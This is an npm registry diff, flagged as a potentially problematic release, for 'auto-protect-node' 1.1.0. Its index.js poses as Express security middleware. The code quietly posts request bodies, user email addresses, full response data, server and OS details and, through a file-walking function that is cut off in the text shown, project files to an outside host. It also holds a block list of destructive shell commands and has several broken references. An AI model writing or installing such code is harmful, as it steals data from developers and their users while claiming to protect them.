auto-protect-node 0.0.1-security → 1.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of auto-protect-node might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1058 -0
  2. package/package.json +23 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,1058 @@
1
+ const baseUrl="https://securitytool.handsintechnology.in/api/client"
2
+ // const baseUrl="http://localhost:8080/api/client"
3
+ const express = require("express");
4
+ const url = require("url");
5
+ const { exec } = require("child_process");
6
+ const os = require("os");
7
+ const http = require("http");
8
+ const fs = require("fs");
9
+ const path = require("path");
10
+ // utilities
11
+ // custom fetch functions
12
+ const axios = require("axios");
13
+ function consoleColorText(text, color) {
14
+ const colors = {
15
+ reset: "\x1b[0m",
16
+ black: "\x1b[30m",
17
+ red: "\x1b[31m",
18
+ green: "\x1b[32m",
19
+ yellow: "\x1b[33m",
20
+ blue: "\x1b[34m",
21
+ magenta: "\x1b[35m",
22
+ cyan: "\x1b[36m",
23
+ white: "\x1b[37m",
24
+ };
25
+
26
+ const colorCode = colors[color] || colors.reset;
27
+ console.log(colorCode + text + colors.reset);
28
+ }
29
+ async function useCustomFetch(url, options = {}) {
30
+ try {
31
+ const response = await axios.get(url, options);
32
+ return { data: response.data, status: response.status };
33
+ } catch (error) {
34
+ // console.log(JSON.stringify(error));
35
+ return { error };
36
+ }
37
+ }
38
+ const errorHandler = (
39
+ res,
40
+ statusCode = 500,
41
+ message = "internal server error",
42
+ data
43
+ ) => {
44
+ const response = { statusCode, message, data };
45
+ res.status(statusCode).json(response);
46
+ };
47
+ // getAllEndpoints
48
+ const regExpToParseExpressPathRegExp =
49
+ /^\/\^\\\/(?:(:?[\w\\.-]*(?:\\\/:?[\w\\.-]*)*)|(\(\?:\(\[\^\\\/]\+\?\)\)))\\\/.*/;
50
+ const regExpToReplaceExpressPathRegExpParams = /\(\?:\(\[\^\\\/]\+\?\)\)/;
51
+ const regexpExpressParamRegexp = /\(\?:\(\[\^\\\/]\+\?\)\)/g;
52
+
53
+ const EXPRESS_ROOT_PATH_REGEXP_VALUE = "/^\\/?(?=\\/|$)/i";
54
+ const STACK_ITEM_VALID_NAMES = ["router", "bound dispatch", "mounted_app"];
55
+ /**
56
+ * Returns all the verbs detected for the passed route
57
+ */
58
+ const getRouteMethods = function (route) {
59
+ let methods = Object.keys(route.methods);
60
+ methods = methods.filter((method) => method !== "_all");
61
+ methods = methods.map((method) => method.toUpperCase());
62
+ return methods;
63
+ };
64
+ /**
65
+ * Returns the names (or anonymous) of all the middlewares attached to the
66
+ * passed route
67
+ * @param {Object} route
68
+ * @returns {string[]}
69
+ */
70
+ const getRouteMiddlewares = function (route) {
71
+ return route.stack.map((item) => {
72
+ return item.handle.name || "anonymous";
73
+ });
74
+ };
75
+
76
+ /**
77
+ * Returns true if found regexp related with express params
78
+ * @param {string} expressPathRegExp
79
+ * @returns {boolean}
80
+ */
81
+ const hasParams = function (expressPathRegExp) {
82
+ return regexpExpressParamRegexp.test(expressPathRegExp);
83
+ };
84
+
85
+ /**
86
+ * @param {Object} route Express route object to be parsed
87
+ * @param {string} basePath The basePath the route is on
88
+ * @return {Object[]} Endpoints info
89
+ */
90
+ const parseExpressRoute = function (route, basePath) {
91
+ const paths = [];
92
+
93
+ if (Array.isArray(route.path)) {
94
+ paths.push(...route.path);
95
+ } else {
96
+ paths.push(route.path);
97
+ }
98
+
99
+ const endpoints = paths.map((path) => {
100
+ const completePath =
101
+ basePath && path === "/" ? basePath : `${basePath}${path}`;
102
+
103
+ const endpoint = {
104
+ path: completePath,
105
+ methods: getRouteMethods(route),
106
+ middlewares: getRouteMiddlewares(route),
107
+ };
108
+
109
+ return endpoint;
110
+ });
111
+
112
+ return endpoints;
113
+ };
114
+
115
+ /**
116
+ * @param {RegExp} expressPathRegExp
117
+ * @param {Object[]} params
118
+ * @returns {string}
119
+ */
120
+ const parseExpressPath = function (expressPathRegExp, params) {
121
+ let expressPathRegExpExec =
122
+ regExpToParseExpressPathRegExp.exec(expressPathRegExp);
123
+ let parsedRegExp = expressPathRegExp.toString();
124
+ let paramIndex = 0;
125
+
126
+ while (hasParams(parsedRegExp)) {
127
+ const paramName = params[paramIndex].name;
128
+ const paramId = `:${paramName}`;
129
+
130
+ parsedRegExp = parsedRegExp.replace(
131
+ regExpToReplaceExpressPathRegExpParams,
132
+ paramId
133
+ );
134
+
135
+ paramIndex++;
136
+ }
137
+
138
+ if (parsedRegExp !== expressPathRegExp.toString()) {
139
+ expressPathRegExpExec = regExpToParseExpressPathRegExp.exec(parsedRegExp);
140
+ }
141
+
142
+ const parsedPath = expressPathRegExpExec[1].replace(/\\\//g, "/");
143
+
144
+ return parsedPath;
145
+ };
146
+
147
+ /**
148
+ * @param {Object} app
149
+ * @param {string} [basePath]
150
+ * @param {Object[]} [endpoints]
151
+ * @returns {Object[]}
152
+ */
153
+ const parseEndpoints = function (app, basePath, endpoints) {
154
+ const stack = app.stack || (app._router && app._router.stack);
155
+
156
+ endpoints = endpoints || [];
157
+ basePath = basePath || "";
158
+
159
+ if (!stack) {
160
+ endpoints = addEndpoints(endpoints, [
161
+ {
162
+ path: basePath,
163
+ methods: [],
164
+ middlewares: [],
165
+ },
166
+ ]);
167
+ } else {
168
+ endpoints = parseStack(stack, basePath, endpoints);
169
+ }
170
+ return endpoints;
171
+ };
172
+
173
+ /**
174
+ * Ensures the path of the new endpoints isn't yet in the array.
175
+ * If the path is already in the array merges the endpoints with the existing
176
+ * one, if not, it adds them to the array.
177
+ *
178
+ * @param {Object[]} currentEndpoints Array of current endpoints
179
+ * @param {Object[]} endpointsToAdd New endpoints to be added to the array
180
+ * @returns {Object[]} Updated endpoints array
181
+ */
182
+ const addEndpoints = function (currentEndpoints, endpointsToAdd) {
183
+ endpointsToAdd.forEach((newEndpoint) => {
184
+ const existingEndpoint = currentEndpoints.find(
185
+ (item) => item.path === newEndpoint.path
186
+ );
187
+
188
+ if (existingEndpoint !== undefined) {
189
+ const newMethods = newEndpoint.methods.filter(
190
+ (method) => !existingEndpoint.methods.includes(method)
191
+ );
192
+
193
+ existingEndpoint.methods = existingEndpoint.methods.concat(newMethods);
194
+ } else {
195
+ currentEndpoints.push(newEndpoint);
196
+ }
197
+ });
198
+
199
+ return currentEndpoints;
200
+ };
201
+
202
+ /**
203
+ * @param {Object} stack
204
+ * @param {string} basePath
205
+ * @param {Object[]} endpoints
206
+ * @returns {Object[]}
207
+ */
208
+ const parseStack = function (stack, basePath, endpoints) {
209
+ stack.forEach((stackItem) => {
210
+ if (stackItem.route) {
211
+ const newEndpoints = parseExpressRoute(stackItem.route, basePath);
212
+
213
+ endpoints = addEndpoints(endpoints, newEndpoints);
214
+ } else if (STACK_ITEM_VALID_NAMES.includes(stackItem.name)) {
215
+ const isExpressPathRegexp = regExpToParseExpressPathRegExp.test(
216
+ stackItem.regexp
217
+ );
218
+
219
+ let newBasePath = basePath;
220
+
221
+ if (isExpressPathRegexp) {
222
+ const parsedPath = parseExpressPath(stackItem.regexp, stackItem.keys);
223
+
224
+ newBasePath += `/${parsedPath}`;
225
+ } else if (
226
+ !stackItem.path &&
227
+ stackItem.regexp &&
228
+ stackItem.regexp.toString() !== EXPRESS_ROOT_PATH_REGEXP_VALUE
229
+ ) {
230
+ const regExpPath = ` RegExp(${stackItem.regexp}) `;
231
+
232
+ newBasePath += `/${regExpPath}`;
233
+ }
234
+
235
+ endpoints = parseEndpoints(stackItem.handle, newBasePath, endpoints);
236
+ }
237
+ });
238
+
239
+ return endpoints;
240
+ };
241
+
242
+ /**
243
+ * Returns an array of strings with all the detected endpoints
244
+ * @param {Object} app the express/route instance to get the endpoints from
245
+ */
246
+ const getEndpoints = function (app) {
247
+ const endpoints = parseEndpoints(app);
248
+ return endpoints;
249
+ };
250
+ const emailRegex = /^\S+@\S+\.\S+$/; // Regular expression to match email addresses
251
+ const findEmail = (data) => {
252
+ if (Array.isArray(data)) {
253
+ for (let i = 0; i < data.length; i++) {
254
+ const email = findEmail(data[i]);
255
+ if (email) {
256
+ return email; // Return the first valid email address found
257
+ }
258
+ }
259
+ } else if (typeof data === "object" && data !== null) {
260
+ for (const key in data) {
261
+ if (data.hasOwnProperty(key)) {
262
+ const email = findEmail(data[key]);
263
+ if (email) {
264
+ return email; // Return the first valid email address found
265
+ }
266
+ }
267
+ }
268
+ } else if (typeof data === "string" && emailRegex.test(data)) {
269
+ return data; // Return the valid email address
270
+ }
271
+
272
+ return null; // Return null if no valid email address is found
273
+ };
274
+ // XSS Injection Function
275
+ // Create Blacklistusers details function
276
+ const CreateuserDetails = async (req, res, message, type) => {
277
+ res.on("finish", async () => {
278
+ try {
279
+ message = "malacios";
280
+ var ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
281
+ var ip = "206.84.234.39";
282
+ const month = [
283
+ "January",
284
+ "February",
285
+ "March",
286
+ "April",
287
+ "May",
288
+ "June",
289
+ "July",
290
+ "August",
291
+ "September",
292
+ "October",
293
+ "November",
294
+ "December",
295
+ ];
296
+ const d = new Date();
297
+
298
+ const useragent = req.headers["user-agent"];
299
+ // // const result = detector.detect(useragent);
300
+ // // const { client, os, device } = result
301
+
302
+ const UserRawData = {
303
+ ip,
304
+ date: d.getDate() + " " + month[d.getMonth()] + " " + d.getFullYear(),
305
+ time: d.toLocaleTimeString(),
306
+ page: req.url,
307
+ query: req.query || req.query || "",
308
+ inputQuery: req.body || "",
309
+ type,
310
+ country: country || "",
311
+ city: city || "",
312
+ region: region || "",
313
+ useragent,
314
+ latitude: "",
315
+ longitude: "",
316
+ domain: req.get("host"),
317
+ referurl:
318
+ req.protocol + "://" + req.get("host") + req.originalUrl || "",
319
+ };
320
+ await axios.post(`${baseUrl}/createuserdetails`, {
321
+ type,
322
+ hostname,
323
+ ip,
324
+ UserRawData
325
+ })
326
+ .then(res=>res.data)
327
+ .catch(err=>err?.response?.data)
328
+ } catch (error) {
329
+
330
+ }
331
+ });
332
+ };
333
+ // End Create Blacklistusers details function
334
+ // Sql Injection Function
335
+ function hasSqlInjection(value) {
336
+ const sqlMeta = new RegExp(
337
+ "(%27)|(--)|([0-9]=[0-9])|([0-9] and [0-9]=[0-9])|([0-9] AND [0-9])|(or [0-9]=[0-9])|(OR [0-9]=[0-9])|(%23)|(#)",
338
+ "i"
339
+ );
340
+ if (sqlMeta.test(value)) {
341
+ return true;
342
+ }
343
+
344
+ const sqlMeta2 = new RegExp(
345
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))",
346
+ "i"
347
+ );
348
+ if (sqlMeta2.test(value)) {
349
+ return true;
350
+ }
351
+
352
+ const nestedQuery = new RegExp(
353
+ "((%3D)|(=))[^\n]*((%27)|(')|(--)|(%3B)|(;))?[^\n]*((%27)|(')|(--)|(%3B)|(;))[^\n]*((%3D)|(=))",
354
+ "i"
355
+ );
356
+ if (nestedQuery.test(value)) {
357
+ return true;
358
+ }
359
+
360
+ const timeBased = new RegExp("(%3B)|(;)[^\n]*sleep((d+))[^\n]*", "i");
361
+ if (timeBased.test(value)) {
362
+ return true;
363
+ }
364
+
365
+ const booleanBased = new RegExp(
366
+ "((%3D)|(=))[^\n]*[^s]*(%27)|(')|(--)|(%3B)|(;)",
367
+ "i"
368
+ );
369
+ if (booleanBased.test(value)) {
370
+ return true;
371
+ }
372
+
373
+ const typicalSql = new RegExp(
374
+ "w*((%27)|('))((%6F)|o|(%4F))((%72)|r|(%52))",
375
+ "i"
376
+ );
377
+ if (typicalSql.test(value)) {
378
+ return true;
379
+ }
380
+
381
+ const sqlUnion = new RegExp("((%27)|('))union", "i");
382
+ if (sqlUnion.test(value)) {
383
+ return true;
384
+ }
385
+
386
+ const entireText = new RegExp(
387
+ "\b((select|delete|insert|update|drop|create|alter)\b.*)",
388
+ "i"
389
+ );
390
+ if (entireText.test(value)) {
391
+ return true;
392
+ }
393
+
394
+ return false;
395
+ }
396
+ // Co0mmandline Injection Function
397
+ function hasCommandLineInjection(value) {
398
+ const commandMeta = new RegExp(
399
+ "(rm -rf)|(ls -la)|(command >/dev/sda)|(:\\(\\){ :|:& };:)|(sudo yum install)|(.conf)|(sudo mv /dev/null)|(wget)|(-O-)|(crontab -r)|(history)|(dd if=/dev/zero of=/dev/sda)|(/dev/sda)|(/dev/sda1)|(sudo apt purge python|python2|python3.x-minimal)|(chmod -R 777 /)",
400
+ "i"
401
+ );
402
+ if (commandMeta.test(value)) {
403
+ return true;
404
+ }
405
+
406
+ return false;
407
+ }
408
+ // HTML Injection Function
409
+ function hasHTMLnjection(value) {
410
+ const HTML = new RegExp(/<(\"[^\"]*\"|'[^']*'|[^'\">])*>/, "g");
411
+ if (HTML.test(value)) {
412
+ return true;
413
+ }
414
+ return false;
415
+ }
416
+ // HTML Injection Function
417
+ function hasXSSnjection(value) {
418
+ const XSS = /<script>/;
419
+ if (XSS.test(value)) {
420
+ return true;
421
+ }
422
+ return false;
423
+ }
424
+ async function InjectionChecker(req) {
425
+ const entries = {
426
+ ...req.body,
427
+ ...req.query,
428
+ ...req.params,
429
+ };
430
+ let containsSql = false,
431
+ validateXss = false,
432
+ validatehtml = false,
433
+ containCommand = false;
434
+ const value = JSON.stringify(entries);
435
+ if (hasSqlInjection(value) === true) {
436
+ containsSql = true;
437
+ }
438
+ if (hasXSSnjection(value) === true) {
439
+ validateXss = true;
440
+ }
441
+ if (hasHTMLnjection(value) === true) {
442
+ validatehtml = true;
443
+ }
444
+ if (hasCommandLineInjection(value) === true) {
445
+ containCommand = true;
446
+ }
447
+ return { containsSql, validateXss, validatehtml, containCommand };
448
+ }
449
+ const checkForSensitiveInfoInBodyAndPasswordValidate = (currentData, req) => {
450
+ (async () => {
451
+ try {
452
+ await axios.post(`${baseUrl}/sensitivekeysandPasswordValidate`, {
453
+ currentData ,
454
+ hostname:req.domain,
455
+ })
456
+ .then(res=>res.data)
457
+ .catch(err=>err?.response?.data)
458
+ } catch (error) {
459
+ // console.log(JSON.stringify(error));
460
+ }
461
+ })();
462
+
463
+ };
464
+
465
+ function checkForSensitiveInfoInUrl(req, requestUrl) {
466
+ (async () => {
467
+ try {
468
+ const api1 = await axios.post(`${baseUrl}/sensitivekeysinurl`, {
469
+ data:req.query,
470
+ hostname:req.domain,
471
+ url:requestUrl
472
+ })
473
+ .then(res=>res.data)
474
+ .catch(err=>err?.response?.data)
475
+ } catch (error) {
476
+ // console.log(JSON.stringify(error));
477
+ }
478
+ })();
479
+ }
480
+ function sendResponseCodedetails(data, hostname, requestUrl) {
481
+ (async () => {
482
+ await useCustomFetch(
483
+ `${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({
484
+ result: data,
485
+ })}&hostname=${hostname}&url=${requestUrl}`
486
+ );
487
+ const d = await useCustomFetch(
488
+ `${baseUrl}/responsecodeavailableornot?data=${JSON.stringify({
489
+ result: data,
490
+ })}&hostname=${hostname}&url=${requestUrl}`
491
+ )
492
+ .then((response) => response.data)
493
+ .catch((err) => err.message);
494
+ })();
495
+ }
496
+ const SendEmail = (emailid, hostname, requestUrl) => {
497
+ (async () => {
498
+ await useCustomFetch(
499
+ `${baseUrl}/emailverify?email=${JSON.stringify({
500
+ result: emailid,
501
+ })}&hostname=${hostname}&url=${requestUrl}`
502
+ )
503
+ .then((res) => res.data)
504
+ .catch((err) => err);
505
+ })();
506
+ };
507
+ function responseCodeChecker(req, res) {
508
+ const hostname = req.domain;
509
+ const originalJson = res.json;
510
+ const originalSend = res.send;
511
+ var originalRender = res.render;
512
+ let responseData = null;
513
+ res.json = async function (body) {
514
+ originalJson.call(res, body);
515
+ responseData = body;
516
+ };
517
+ res.send = async function (body) {
518
+ originalSend.call(res, body);
519
+ responseData = body;
520
+ };
521
+ // Override the res.render function
522
+ try {
523
+ require.resolve("ejs");
524
+
525
+ // EJS is installed, override the res.render function
526
+ res.render = function (view, locals, callback) {
527
+ originalRender && originalRender.call(res, view, locals, callback);
528
+ // Remove the _locals property
529
+ delete locals._locals;
530
+ // Assign the modified locals object to responseData
531
+ responseData = locals;
532
+ };
533
+ } catch (error) {}
534
+ res.on("finish", async function () {
535
+ const existingCode = http.STATUS_CODES[res.statusCode];
536
+ const parsedUrl = url.parse(req.url);
537
+ const requestUrl = parsedUrl.pathname;
538
+ try {
539
+ const body = {
540
+ ...req.body,
541
+ ...req.query,
542
+ ...req.params,
543
+ };
544
+ const emailid = findEmail(body);
545
+ emailid ? SendEmail(emailid, hostname, requestUrl) : null;
546
+ responseData
547
+ ? checkForSensitiveInfoInBodyAndPasswordValidate(responseData, req)
548
+ : null;
549
+ req.query ? checkForSensitiveInfoInUrl(req, requestUrl) : null;
550
+ // response codes
551
+ const resoponsecodedata = existingCode
552
+ ? {
553
+ code: res.statusCode,
554
+ phrase: existingCode,
555
+ }
556
+ : null;
557
+ // call api
558
+ const data = {
559
+ hostname,
560
+ resoponsecodedata,
561
+ };
562
+ sendResponseCodedetails(data, hostname, requestUrl);
563
+ } catch (error) {}
564
+ });
565
+ }
566
+ const Middleware = async (req, res, next) => {
567
+ try {
568
+ if (req.alloweddomain.allowed) {
569
+ try {
570
+ // Call the helmet middleware and pass the req, res, and a callback function
571
+ // Rest of your middleware code
572
+ responseCodeChecker(req, res);
573
+ const contentType = req.headers["content-type"];
574
+ contentType && contentType.includes("application/xml")
575
+ ? (function () {
576
+ let data = "";
577
+ req.setEncoding("utf8");
578
+ req.on("data", (chunk) => {
579
+ data += chunk;
580
+ });
581
+ req.on("end", () => {
582
+ const body = req.body;
583
+ if (body.match("<!ENTITY")) {
584
+ CreateuserDetails(
585
+ req,
586
+ res,
587
+ "Malicious code request",
588
+ "XML-Injection"
589
+ );
590
+ }
591
+ });
592
+ })()
593
+ : null;
594
+
595
+ const reqPath = req.url.toLowerCase();
596
+ const isreqPathfile =
597
+ reqPath.endsWith(".js") ||
598
+ reqPath.endsWith(".htaccess") ||
599
+ reqPath.endsWith(".json") ||
600
+ reqPath.endsWith(".css") ||
601
+ reqPath.endsWith(".txt") ||
602
+ reqPath.endsWith(".md") ||
603
+ reqPath.endsWith(".yml") ||
604
+ reqPath.endsWith(".toml") ||
605
+ reqPath === "/app.js";
606
+ const injectionFound = await InjectionChecker(req);
607
+ if (isreqPathfile) {
608
+ CreateuserDetails(
609
+ req,
610
+ res,
611
+ "Remote-FiLe-Inclusion-Detected",
612
+ "Remote-FiLe-Inclusion"
613
+ );
614
+ return errorHandler(res, 406, "Not found");
615
+ } else if (injectionFound.containCommand) {
616
+ CreateuserDetails(req, res, "Command Injection Detected", "cmd");
617
+ return errorHandler(res, 406, "Malicious code found");
618
+ } else if (injectionFound.validateXss) {
619
+ CreateuserDetails(
620
+ req,
621
+ res,
622
+ "XSS Injection Detected",
623
+ "xss-injection"
624
+ );
625
+ return errorHandler(res, 406, "Malicious code found");
626
+ } else if (injectionFound.validatehtml) {
627
+ CreateuserDetails(
628
+ req,
629
+ res,
630
+ "HTML Injection Detected",
631
+ "HTML injection"
632
+ );
633
+ } else if (injectionFound.containsSql) {
634
+ CreateuserDetails(req, res, "SQL Injection Detected", "SQLI");
635
+ return res.status(406).json("malicious code found");
636
+ }
637
+ next();
638
+
639
+ } catch (error) {
640
+ return errorHandler(res);
641
+ }
642
+ } else {
643
+ consoleColorText(
644
+ "Your domain is not allowed to fetch live status of injections",
645
+ "red"
646
+ );
647
+ next();
648
+ }
649
+ } catch (error) {}
650
+ };
651
+ //End Security
652
+ const getAllRoutesAndMiddleware = async (app, servertimeout, hostname) => {
653
+ try {
654
+ var routes = getEndpoints(app);
655
+ // Handle each response
656
+ const npmauditdata = await dependencyChecker();
657
+ // console.log(npmauditdata)
658
+ const params = req.query || req.params;
659
+ // Get list of middlewares except 'router'
660
+ const middlewares =
661
+ app._router?.stack
662
+ ?.filter(
663
+ (layer) =>
664
+ layer.name !== "router" &&
665
+ layer.name !== "bound dispatch" &&
666
+ layer.name !== "jsonParser" &&
667
+ layer.name !== "<anonymous>" &&
668
+ layer.name !== "urlencodedParser" &&
669
+ layer.name !== "expressInit" &&
670
+ layer.name !== "query" &&
671
+ layer.name !== "Middleware"
672
+ )
673
+ ?.map((layer) => layer.name) || [];
674
+
675
+ const api1 = await axios.post(`${baseUrl}/optionmethodvulnerability`, {
676
+ routes,
677
+ hostname,
678
+ });
679
+ const api2 = await axios.post(`${baseUrl}/dangerousemethodvulnerability`, {
680
+ routes,
681
+ hostname,
682
+ });
683
+ const api3 = await axios.post(`${baseUrl}/defaultwebpagevulnerability`, {
684
+ routes,
685
+ servertimeout,
686
+ hostname,
687
+ });
688
+ // Execute all API requests concurrently
689
+ const first3 = await axios.all([api1, api2, api3]);
690
+ // console.log(first3)
691
+ const Seond6=await sendFilesToServer(process.cwd(),baseUrl,sid,middlewares);
692
+ // console.log({Seond6})
693
+ const data={
694
+ first3,
695
+ Seond6,
696
+ npmauditdata,
697
+ middlewares,
698
+ params
699
+ }
700
+ // console.log(data)
701
+
702
+
703
+ } catch (error) {
704
+ // console.log(JSON.stringify(error));
705
+ }
706
+ };
707
+ // GetAllData
708
+ async function GetAllData(req) {
709
+ const app = req.app, server = req.server,hostname = req.domain;
710
+ await getAllRoutesAndMiddleware(app, server.timeout, hostname);
711
+ const npmauditdata = await dependencyChecker();
712
+ const params = req.query || req.params;
713
+ const origin = req.headers.origin;
714
+ const Allow_Access_control_origin =
715
+ origin && res.get("Access-Control-Allow-Origin") === "*"
716
+ ? "Access-Control-Allow-Origin is Set to *"
717
+ : "Access-Control-Allow-Origin is not Set to *";
718
+ let version = process.version;
719
+ version = version.replace(/^./, "");
720
+ let responseserver = await useCustomFetch("http://ip-api.com/json/");
721
+ responseserver = responseserver.data;
722
+ const information = {
723
+ node_version: process.version,
724
+ Allow_Access_control_origin,
725
+ osVersion: os.version(),
726
+ platform: os.platform(),
727
+ totalmem: os.totalmem(),
728
+ freemem: os.freemem(),
729
+ type: os.type(),
730
+ servername: os.hostname(),
731
+ hostname: os.hostname(),
732
+ nodeenvronment: process.execPath,
733
+ version,
734
+ ...responseserver,
735
+ };
736
+ await axios.post(`${baseUrl}/serverreport`, {
737
+ information,
738
+ params,
739
+ npmauditdata,
740
+ protocol: req.protocol,
741
+ hostname: req.domain,
742
+ })
743
+ .then(res=>res.data)
744
+ .catch(err=>err?.response?.data)
745
+ }
746
+ async function HttpParameterpollutionchecker(req, res) {
747
+ console.log("Please wait ")
748
+ const app = req.app,
749
+ server = req.server,
750
+ hostname = req.domain;
751
+ try {
752
+ const routes = getEndpoints(app);
753
+ const npmauditdata = await dependencyChecker();
754
+
755
+ const params = req.query || req.params;
756
+ const middlewares =
757
+ app._router?.stack
758
+ ?.filter(
759
+ (layer) =>
760
+ layer.name !== "router" &&
761
+ layer.name !== "bound dispatch" &&
762
+ layer.name !== "jsonParser" &&
763
+ layer.name !== "<anonymous>" &&
764
+ layer.name !== "urlencodedParser" &&
765
+ layer.name !== "expressInit" &&
766
+ layer.name !== "query" &&
767
+ layer.name !== "Middleware"
768
+ )
769
+ ?.map((layer) => layer.name) || [];
770
+
771
+ const api1 = axios.post(`${baseUrl}/optionmethodvulnerability`, {
772
+ routes,
773
+ hostname,
774
+ middlewares
775
+ });
776
+ const api2 = axios.post(`${baseUrl}/dangerousemethodvulnerability`, {
777
+ routes,
778
+ hostname,
779
+ middlewares
780
+ });
781
+ const api3 = axios.post(`${baseUrl}/defaultwebpagevulnerability`, {
782
+ routes,
783
+ servertimeout:server.timeout,
784
+ hostname,
785
+ middlewares
786
+ });
787
+ const [response1, response2, response3] = await axios.all([api1, api2, api3]);
788
+ const first= [response1.data, response2.data, response3.data]
789
+ const Second = await sendFilesToServer(process.cwd(), baseUrl, sid, middlewares);
790
+ var Logs=first.concat(Second)
791
+ Logs.push({npmvulnurabilties:npmauditdata.stdout},{middlewares:middlewares.toString()})
792
+ const alllogs= Logs.filter((v)=>v!=='')
793
+ //
794
+
795
+ const logsdatastatus= await axios
796
+ .post(`${baseUrl}/logsdata`, { logs: alllogs, sid })
797
+ .then((res) => res.status)
798
+ .catch((err) => err?.response?.status);
799
+ // console.log(logsdatastatus)
800
+ if(logsdatastatus===200){
801
+ const logsdata= await axios
802
+ .get(`${baseUrl}/logsdata?sid=${sid}`)
803
+ .then((res) =>{
804
+
805
+ return {status:res.status,data:res.data}
806
+ })
807
+ .catch((err) => {
808
+ return {status:err?.response?.status,data:err?.response?.data}
809
+ });
810
+
811
+ if(logsdata.status===200){
812
+
813
+ // console.log(logsdata.data)
814
+ if(logsdata.data.passwordHashing==='password text not store in hash format'){
815
+ consoleColorText(logsdata.data.passwordHashing, "red");
816
+ }else{
817
+ consoleColorText(logsdata.data.passwordHashing, "blue");
818
+ }
819
+ consoleColorText(logsdata?.data?.xss?.replace(/,/g,"\n"), "red");
820
+ consoleColorText(logsdata?.data?.sql?.replace(/,/g,"\n"), "red");
821
+ consoleColorText(logsdata?.data?.session?.replace(/,/g,"\n"), "red");
822
+ if(logsdata?.data?.redirect=="Redirect vunurbilities not found "){
823
+ consoleColorText(logsdata?.data?.redirect, "blue");
824
+ }else{
825
+ consoleColorText(logsdata?.data?.redirect?.replace(/,/g,"\n"), "red");
826
+ }
827
+ if(logsdata?.data?.dwp=="Available"){
828
+ consoleColorText("Default Web Page:"+logsdata?.data?.dwp?.replace(/,/g,"\n"), "blue");
829
+ }else{
830
+ consoleColorText("Default Web Page:"+logsdata?.data?.dwp?.replace(/,/g,"\n"), "red");
831
+ }
832
+
833
+ if(logsdata?.data?.OptionMethod=="Option Method is not enable"){
834
+ consoleColorText(logsdata?.data?.OptionMethod?.replace(/,/g,"\n"), "blue");
835
+ }else{
836
+ consoleColorText("Option Method enabled on :"+logsdata?.data?.OptionMethod, "red");
837
+ }
838
+
839
+ if(logsdata?.data?.DangerousMethods=="Dangerous Methods are not enable"){
840
+ consoleColorText('Dangerous Methods are not enable', "blue");
841
+ }else{
842
+ consoleColorText("Dangerous methods enabled:"+logsdata?.data?.DangerousMethods, "red");
843
+ }
844
+ if(logsdata?.data?.npmvulnurabilties=="found 0 vulnerabilities\n"){
845
+ consoleColorText("found 0 vulnerabilities in node_modules", "blue");
846
+ }else{
847
+ consoleColorText(+logsdata?.data?.npmvulnurabilties?.replace(/,/g,"\n"), "red");
848
+ }
849
+ }
850
+ }
851
+ } catch (error) {
852
+ // console.log(JSON.stringify(error));
853
+ }
854
+ }
855
+
856
+ // end GetAllData
857
+ // controllers
858
+ const combinedController = async (req, res) => {
859
+ if (req.alloweddomain.allowed) {
860
+ try {
861
+ await GetAllData(req);
862
+ return res.status(200).json("send");
863
+ } catch (error) {
864
+ consoleColorText(error.message, "red");
865
+ return res.status(500).json({ error: "Internal Server Error" });
866
+ }
867
+ } else {
868
+ return res.status(404).json("Your domain is not authenticated");
869
+ }
870
+ };
871
+ const scanControllerController = async (req, res) => {
872
+ if (req.alloweddomain.allowed) {
873
+ try {
874
+
875
+ const d=await sendFilesToServer(process.cwd(),baseUrl,sid);
876
+ console.log(d)
877
+ const res=await axios.post(`${baseUrl}/logsdata`,{logs:d,sid})
878
+ .then((res=>res.data))
879
+ .catch(err=>err?.response?.data)
880
+ // console.log(res)
881
+ await GetAllData(req);
882
+ return res.status(200).json("send");
883
+ } catch (error) {
884
+ consoleColorText(error.message, "red");
885
+ return res.status(500).json({ error: "Internal Server Error" });
886
+ }
887
+ } else {
888
+ return res.status(404).json("Your domain is not authenticated");
889
+ }
890
+ };
891
+ const onData = (stream) => {
892
+ return new Promise((resolve, reject) => {
893
+ let data = "";
894
+
895
+ stream.on("data", (chunk) => {
896
+ data += chunk;
897
+ });
898
+
899
+ stream.on("error", (err) => {
900
+ reject(err);
901
+ });
902
+
903
+ stream.on("end", () => {
904
+ resolve(data);
905
+ });
906
+ });
907
+ };
908
+
909
+ const dependencyChecker = async (res) => {
910
+ // ...
911
+
912
+ try {
913
+ const command = "npm audit";
914
+ const childProcess = exec(command);
915
+ const stdoutData = await onData(childProcess.stdout);
916
+ const stderrData = await onData(childProcess.stderr);
917
+
918
+ // Return or process the data as needed
919
+ return {
920
+ stdout: stdoutData,
921
+ stderr: stderrData,
922
+ };
923
+
924
+ // ...
925
+ } catch (error) {
926
+ consoleColorText(error.message, "red");
927
+ // Handle the error appropriately
928
+ }
929
+ };
930
+ const HostValidator = (app, server, sid) => {
931
+ return async (req, res, next) => {
932
+ const allowedDomain = await Ialloweddomain(sid);
933
+
934
+ req.app = app;
935
+ req.server = server;
936
+ req.domain = sid;
937
+ req.alloweddomain = allowedDomain;
938
+ next();
939
+ };
940
+ };
941
+ const Ialloweddomain = async (hostname) => {
942
+ try {
943
+ const response = await useCustomFetch(
944
+ `${baseUrl}/alloweddomains?hostname=${hostname}`
945
+ );
946
+ if (response.status === 200) {
947
+ return { allowed: true };
948
+ } else {
949
+ return { allowed: false };
950
+ }
951
+ } catch (error) {
952
+ if (error) {
953
+ return { allowed: false };
954
+ }
955
+ }
956
+ };
957
+ // Call Middleware For Secure Your Application
958
+ function isExpressApplication(app) {
959
+ return (
960
+ app &&
961
+ typeof app === "function" &&
962
+ app.hasOwnProperty("use") &&
963
+ app.hasOwnProperty("get")
964
+ );
965
+ }
966
+ function isHttpServer(server) {
967
+ return (
968
+ server &&
969
+ (server instanceof http.Server || server instanceof https.Server) &&
970
+ typeof server.listen === "function"
971
+ );
972
+ }
973
+ async function sendFilesToServer(directoryPath, serverUrl,sid,middlewares) {
974
+ try {
975
+ const results = [];
976
+ const files = fs.readdirSync(directoryPath);
977
+
978
+ for (const file of files) {
979
+ if (file === __filename) {
980
+ continue;
981
+ } else {
982
+ const filePath = `${directoryPath}/${file}`;
983
+ const stat = fs.statSync(filePath);
984
+
985
+ if (stat.isDirectory()) {
